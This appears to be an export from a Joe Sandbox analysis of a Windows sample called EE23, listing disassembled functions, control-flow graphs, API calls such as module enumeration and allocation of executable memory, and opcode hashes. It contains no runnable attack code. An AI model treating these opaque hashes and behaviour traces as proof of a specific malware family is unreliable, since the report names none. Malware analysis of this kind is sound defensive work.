                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                                                                • String ID: apfHQ$o
                                                                                                                                                                                                                                                                • API String ID: 3188754299-2999369273
                                                                                                                                                                                                                                                                • Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
                                                                                                                                                                                                                                                                • Instruction ID: a9a0290c01f1c3b3c4a5c8c939e7bd7952e53b82ca170c993f1940a7b393f309
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 19011E70C0424CEADF10DB98C5183AEBFF5AF41308F1481ADC4592B242D7769B98DBA2
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02F477C6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 41 2f477c6-2f477df 42 2f477e1-2f477e3 41->42 43 2f477e5 42->43 44 2f477ea-2f477f6 CreateToolhelp32Snapshot 42->44 43->44 45 2f47806-2f47813 Module32First 44->45 46 2f477f8-2f477fe 44->46 47 2f47815-2f47816 call 2f47485 45->47 48 2f4781c-2f47824 45->48 46->45 53 2f47800-2f47804 46->53 51 2f4781b 47->51 51->48 53->42 53->45
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02F477EE
                                                                                                                                                                                                                                                                • Module32First.KERNEL32(00000000,00000224), ref: 02F4780E
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397649802.0000000002F47000.00000040.00000020.00020000.00000000.sdmp, Offset: 02F47000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_2f47000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateFirstModule32SnapshotToolhelp32
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3833638111-0
                                                                                                                                                                                                                                                                • Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction ID: 1096c02cbf393a87fa412f4d03cc0350aa3aa77de29db6ca1e0c269cf4d0c79d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 42F096356007146FD7203BF5AC8DF7EFAE8EF496A5F600528E742A10C0DFB4E8458A61
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02F47485 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 54 2f47485-2f474bf call 2f47798 57 2f474c1-2f474f4 VirtualAlloc call 2f47512 54->57 58 2f4750d 54->58 60 2f474f9-2f4750b 57->60 58->58 60->58
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02F474D6
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397649802.0000000002F47000.00000040.00000020.00020000.00000000.sdmp, Offset: 02F47000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_2f47000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                • Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction ID: 018be799c6b42f9a3e7d5581cf4255a15c3512cc4ed7c9d5b30ecad87167ce71
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 86112B79A00208EFDB01DF98C985E99BFF5AF08351F058094FA489B361D775EA90DF80
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                                                                Function 02F4871C Relevance: .1, Instructions: 105COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397649802.0000000002F47000.00000040.00000020.00020000.00000000.sdmp, Offset: 02F47000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_2f47000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
                                                                                                                                                                                                                                                                • Instruction ID: 6f48dcc4561764c6235d7d7e259eaddd3a480ffd3416c3ce5c3aa4be957d3eef
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 08316739806245DFCB15CF74DCA0EB5BF70EF872A4F18969CC6818B106D766A04BC794
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049B6437 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 551 49b6437-49b6440 552 49b6442-49b6446 551->552 553 49b6466 551->553 552->553 555 49b6448-49b6459 call 49b9636 552->555 554 49b6468-49b646b 553->554 558 49b645b-49b6460 call 49b5ba8 555->558 559 49b646c-49b647d call 49b9636 555->559 558->553 564 49b6488-49b649a call 49b9636 559->564 565 49b647f-49b6480 call 49b158d 559->565 570 49b64ac-49b64cd call 49b5f4c call 49b6837 564->570 571 49b649c-49b64aa call 49b158d * 2 564->571 568 49b6485-49b6486 565->568 568->558 580 49b64cf-49b64dd call 49b557d 570->580 581 49b64e2-49b6500 call 49b158d call 49b4edc call 49b4d82 call 49b158d 570->581 571->568 586 49b64df 580->586 587 49b6502-49b6505 580->587 589 49b6507-49b6509 581->589 586->581 587->589 589->554
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1442030790-0
                                                                                                                                                                                                                                                                • Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
                                                                                                                                                                                                                                                                • Instruction ID: 40e8609ba7d6284b8c7711af23ce950ba43e69c952c299f43a2610e46ae3dc45
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0B21A471204A00EEF7217F65DF01DCB7BDADF81768B508439E4C5550A0EA62B950DAE2
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049B3F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 595 49b3f16-49b3f2f 596 49b3f49-49b3f5e call 49bbdc0 595->596 597 49b3f31-49b3f3b call 49b5ba8 call 49b4c72 595->597 596->597 602 49b3f60-49b3f63 596->602 606 49b3f40 597->606 604 49b3f77-49b3f7d 602->604 605 49b3f65 602->605 610 49b3f89-49b3f9a call 49c0504 call 49c01a3 604->610 611 49b3f7f 604->611 608 49b3f6b-49b3f75 call 49b5ba8 605->608 609 49b3f67-49b3f69 605->609 607 49b3f42-49b3f48 606->607 608->606 609->604 609->608 619 49b3fa0-49b3fac call 49c01cd 610->619 620 49b4185-49b418f call 49b4c9d 610->620 611->608 613 49b3f81-49b3f87 611->613 613->608 613->610 619->620 625 49b3fb2-49b3fbe call 49c01f7 619->625 625->620 628 49b3fc4-49b3fcb 625->628 629 49b403b-49b4046 call 49c02d9 628->629 630 49b3fcd 628->630 629->607 636 49b404c-49b404f 629->636 632 49b3fcf-49b3fd5 630->632 633 49b3fd7-49b3ff3 call 49c02d9 630->633 632->629 632->633 633->607 640 49b3ff9-49b3ffc 633->640 638 49b407e-49b408b 636->638 639 49b4051-49b405a call 49c0554 636->639 642 49b408d-49b409c call 49c0f40 638->642 639->638 650 49b405c-49b407c 639->650 643 49b413e-49b4140 640->643 644 49b4002-49b400b call 49c0554 640->644 651 49b40a9-49b40d0 call 49c0e90 call 49c0f40 642->651 652 49b409e-49b40a6 642->652 643->607 644->643 653 49b4011-49b4029 call 49c02d9 644->653 650->642 661 49b40de-49b4105 call 49c0e90 call 49c0f40 651->661 662 49b40d2-49b40db 651->662 652->651 653->607 658 49b402f-49b4036 653->658 658->643 667 49b4113-49b4122 call 49c0e90 661->667 668 49b4107-49b4110 661->668 662->661 671 49b414f-49b4168 667->671 672 49b4124 667->672 668->667 675 49b413b 671->675 676 49b416a-49b4183 671->676 673 49b412a-49b4138 672->673 674 49b4126-49b4128 672->674 673->675 674->673 677 49b4145-49b4147 674->677 675->643 676->643 677->643 678 49b4149 677->678 678->671 679 49b414b-49b414d 678->679 679->643 679->671
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 049B3F51
                                                                                                                                                                                                                                                                  • Part of subcall function 049B5BA8: __getptd_noexit.LIBCMT ref: 049B5BA8
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 049B3FEA
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 049B4020
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 049B403D
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 049B4093
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 049B40AF
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 049B40C6
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 049B40E4
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 049B40FB
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 049B4119
                                                                                                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 049B418A
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 384356119-0
                                                                                                                                                                                                                                                                • Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
                                                                                                                                                                                                                                                                • Instruction ID: de1ed54a515d60695ba48e3461400162966fb86f04fe3ab1fe216d4e29546f50
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: BC71E471A40B16BBF724DEA9CD40BEAB3B8AF50368F144239E854D7281E770F9409BD1
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049B650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3432600739-0
                                                                                                                                                                                                                                                                • Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
                                                                                                                                                                                                                                                                • Instruction ID: bdf7612d4ca3a351213831c1acbb1cd8db5b010aad08c7b3de09ff7a546da312
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9241D432904308EFEB00AFA4DF847DE77A9AF84318F10843DE99456191DB75B954DBD2
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049B84AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 744 49b84ab-49b84d9 call 49b8477 749 49b84db-49b84de 744->749 750 49b84f3-49b850b call 49b158d 744->750 752 49b84ed 749->752 753 49b84e0-49b84eb call 49b158d 749->753 756 49b850d-49b850f 750->756 757 49b8524-49b855a call 49b158d * 3 750->757 752->750 753->749 753->752 759 49b851e 756->759 760 49b8511-49b851c call 49b158d 756->760 769 49b856b-49b857e 757->769 770 49b855c-49b8562 757->770 759->757 760->756 760->759 775 49b858d-49b8594 769->775 776 49b8580-49b8587 call 49b158d 769->776 770->769 771 49b8564-49b856a call 49b158d 770->771 771->769 778 49b85a3-49b85ae 775->778 779 49b8596-49b859d call 49b158d 775->779 776->775 782 49b85cb-49b85cd 778->782 783 49b85b0-49b85bc 778->783 779->778 783->782 784 49b85be-49b85c5 call 49b158d 783->784 784->782
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free$ExitProcess___crt
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1022109855-0
                                                                                                                                                                                                                                                                • Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
                                                                                                                                                                                                                                                                • Instruction ID: 8d1869a782d23800c1543765a1ccba8df24745208e33271375211d99fe9f62cf
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E631B1B1900250DBDB21AF54FD848C977ACFB58364704C67AE984972A0CBF479C9AFE4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049DFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 049DFC1F
                                                                                                                                                                                                                                                                  • Part of subcall function 049C169C: std::exception::_Copy_str.LIBCMT ref: 049C16B5
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 049DFC34
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 049DFC4D
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 049DFC62
                                                                                                                                                                                                                                                                • std::regex_error::regex_error.LIBCPMT ref: 049DFC74
                                                                                                                                                                                                                                                                  • Part of subcall function 049DF914: std::exception::exception.LIBCMT ref: 049DF92E
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 049DFC82
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 049DFC9B
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 049DFCB0
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
                                                                                                                                                                                                                                                                • String ID: leM
                                                                                                                                                                                                                                                                • API String ID: 3569886845-2926266777
                                                                                                                                                                                                                                                                • Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
                                                                                                                                                                                                                                                                • Instruction ID: b11c8e02d0f109c48168100176b0c5bcc3699ff4af456558d058f1c8f21364ea
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1A11B979C0020DBBCF00FFA5D856CEEBBBCAA44348F408566AD1497645EB74B7488F99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0499F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free_malloc_wprintf$_sprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3721157643-0
                                                                                                                                                                                                                                                                • Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
                                                                                                                                                                                                                                                                • Instruction ID: 6fbd30ffdb27291c8926dac76d56454a6f94cb53415ffd7ab9a646f00a9aaccc
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: DF1102B29005507AE662A7B90D26EFF7BDC9F85706F0400BAFACCD1180DA586E0493F1
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049A1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throw$_memset$_malloc_sprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 65388428-0
                                                                                                                                                                                                                                                                • Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
                                                                                                                                                                                                                                                                • Instruction ID: 4f18c024d5cff8ff43c00f55dcb265283cba9e235a8acc6dea8c751d201242d2
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4C515971D40219ABEB11DBA5DD86FEFBBB8FB44744F100139F905B6280EB746A018BA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0499F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throw$_memset_sprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 217217746-0
                                                                                                                                                                                                                                                                • Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
                                                                                                                                                                                                                                                                • Instruction ID: 32a33354ebf701df2c6a11426e85ed31c0d6cc0d075768e116c0d0db3db4356f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E4516171D40209BAEF11DFA5DC46FEEBBB8EB44744F100039F905B6180D779BA058BA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0499F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throw$_memset_sprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 217217746-0
                                                                                                                                                                                                                                                                • Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
                                                                                                                                                                                                                                                                • Instruction ID: a6d8ab3b2f2ffa1a400f322c69924e48a509ac8a2ab3d612cbd2b5e94b77f60e
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: FD513C71E40209AAEF11DFA5DD46FEEBBB8EB44704F100139E905F6280E674AA058BA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049D208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3534693527-0
                                                                                                                                                                                                                                                                • Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
                                                                                                                                                                                                                                                                • Instruction ID: 2e867344f8a2f8dda9b10fa3f72e87e29599292f06d1951100ffad5672cab906
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2931EA32A04225ABEB217FA4DD00BEE27589F89B28F11C4B5E954DF280DB74B54096E1
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A566D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • __getptd_noexit.LIBCMT ref: 04A566DD
                                                                                                                                                                                                                                                                  • Part of subcall function 049B59BF: __calloc_crt.LIBCMT ref: 049B59E2
                                                                                                                                                                                                                                                                  • Part of subcall function 049B59BF: __initptd.LIBCMT ref: 049B5A04
                                                                                                                                                                                                                                                                • __calloc_crt.LIBCMT ref: 04A56700
                                                                                                                                                                                                                                                                • __get_sys_err_msg.LIBCMT ref: 04A5671E
                                                                                                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 04A5673B
                                                                                                                                                                                                                                                                • __get_sys_err_msg.LIBCMT ref: 04A5676D
                                                                                                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 04A5678B
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
